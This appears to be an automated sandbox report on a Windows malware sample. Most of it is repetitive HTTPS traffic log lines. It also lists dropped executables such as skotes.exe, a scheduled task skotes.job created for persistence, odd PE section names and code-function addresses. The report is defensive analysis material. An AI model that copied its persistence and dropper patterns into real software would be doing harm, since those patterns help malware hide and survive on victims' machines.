Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.11:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.11:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50054 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name:
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsCBFBKFIDHI.exe.0.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name:
Source: skotes.exe.21.dr	Static PE information: section name: .idata
Source: skotes.exe.21.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C55B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C55B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C55B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4FF280

Source: C:\Users\user\DocumentsCBFBKFIDHI.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F35A0	0_2_6C4F35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56545C	0_2_6C56545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C505440	0_2_6C505440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C535C10	0_2_6C535C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C542C10	0_2_6C542C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56AC00	0_2_6C56AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56542B	0_2_6C56542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D4D0	0_2_6C51D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5064C0	0_2_6C5064C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C536CF0	0_2_6C536CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD4E0	0_2_6C4FD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506C80	0_2_6C506C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5534A0	0_2_6C5534A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55C4A0	0_2_6C55C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C520512	0_2_6C520512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51ED10	0_2_6C51ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50FD00	0_2_6C50FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C530DD0	0_2_6C530DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5585F0	0_2_6C5585F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C519E50	0_2_6C519E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C533E50	0_2_6C533E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C514640	0_2_6C514640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C542E4E	0_2_6C542E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C566E63	0_2_6C566E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC670	0_2_6C4FC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C537E10	0_2_6C537E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C545600	0_2_6C545600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C559E30	0_2_6C559E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50FEF0	0_2_6C50FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5676E3	0_2_6C5676E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FBEF0	0_2_6C4FBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515E90	0_2_6C515E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55E680	0_2_6C55E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C554EA0	0_2_6C554EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C537710	0_2_6C537710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C509F00	0_2_6C509F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C526FF0	0_2_6C526FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FDFE0	0_2_6C4FDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5477A0	0_2_6C5477A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C518850	0_2_6C518850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D850	0_2_6C51D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53F070	0_2_6C53F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C507810	0_2_6C507810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B820	0_2_6C53B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C544820	0_2_6C544820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5650C7	0_2_6C5650C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51C0E0	0_2_6C51C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5358E0	0_2_6C5358E0
